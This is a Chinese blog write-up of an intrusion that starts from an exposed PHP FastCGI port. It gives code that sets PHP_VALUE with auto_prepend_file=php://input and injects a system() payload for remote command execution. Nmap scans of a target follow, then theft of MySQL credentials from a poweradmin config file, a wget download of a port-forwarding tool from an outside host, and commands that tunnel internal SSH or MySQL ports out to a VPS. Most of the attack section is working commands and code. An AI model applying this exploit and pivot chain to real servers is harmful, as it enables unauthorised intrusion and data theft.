从fastcgi 到数据库

一次很有趣的实践


FastCGI 是目前最常见的webserver动态脚本执行模型之一

而由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上

这时配置不当就可能会产生很多安全问题

正好有一个测试的站点1.2.3.4

nmap -sV -p 9000 –open 1.2.3.1/24 (9000是默认端口)

Nmap scan report for 1.2.3.xxx
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
9000/tcp open cslistener?

webserver为了提供给fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。而若fcgi对外开放,就意味着,任何人都可以伪装成webserver,通过设定FASTCGI_PARAMS这些参数来让fcgi执行我们想执行的脚本内容。

通过修改DOCUMENT_ROOT和SCRIPT_FILENAME即可设置利用fcgi去调用SCRIPT_FILENAME所代表的文件(实际上是执行)

1
2
3
4
5
6
7
8
env["SCRIPT_FILENAME"] = 文件名
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST" 或 "GET"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input"
1
2
3
cmd = "whoami"
c = "<?php system('" + cmd + "');die('---------');?>""
fcgi.Request(env, c)
  • 【注意】 在接收到参数值后fcgi只是修改了内存中的环境变量,并不会直接改动这个文件

在php 5.3.3以下是不能通过修改ini设置去执行代码,只能去猜路径。

php版本 5.3.3 - 5.3.8 是可以通过可以通过参数中设置[PHP_VALUE]和[PHP_ADMIN_VALUE]动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件

利用执行php://input,然后在POST的内容中写入php代码,这样就可以直接执行了。

而在5.3.9以上php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件


在我这个测试站点里,随便找了个路径试了下
Status: 404 Not Found
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Content-type: text/html

php版本是5.5.9
唔,瞬间感觉有点不开心呀~不过先扫下端口吧

nmap -sV –open 1.2.3.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-20 15:25 CST
Nmap scan report for 1.2.3.4
Host is up (0.067s latency).
Not shown: 988 closed ports, 5 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.4.6 (Ubuntu)
88/tcp open http Apache httpd 2.4.7
222/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
3128/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.41-0ubuntu0.14.04.1-log
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
9000/tcp open cslistener?
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

试下http服务,发现在88端口开了一个poweradmin

似乎有默认路径的样子? just try

果然有一个index.php

/var/www/poweradmin/index.php

然后可以愉快的命令执行了 但是

uid=33(www-data) gid=33(www-data) groups=33(www-data)

也是惨的可以= =不过还是可以找啊找找到一个有写权限的目录,然后linux wget你懂的

虽然权限低,但是读文件还是可以的,so找下poweradmin的配置文件

mysql帐号密码get。不过不允许外连,这该咋办呢?

里介绍了一个好用的小工具可以将内网ssh端口转发到外网服务器上

1
wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

具体使用

在vps上./portmap -m 2 -p1 监听端口 -h2 [vps.ip] -p2 转发出来的端口

在内网
./portmap -m 3 -h1 127.0.0.1 -p1 22(mysql的话是3306) -h2 [vps.ip] -p2 [vps监听的端口]

本机或者vps上

ssh vps.ip 转发出来的端口[mysql ip -port]

然后就可以愉快的本机连mysql

参考

Python/Security<br>程序媛<br><br>小狐狸.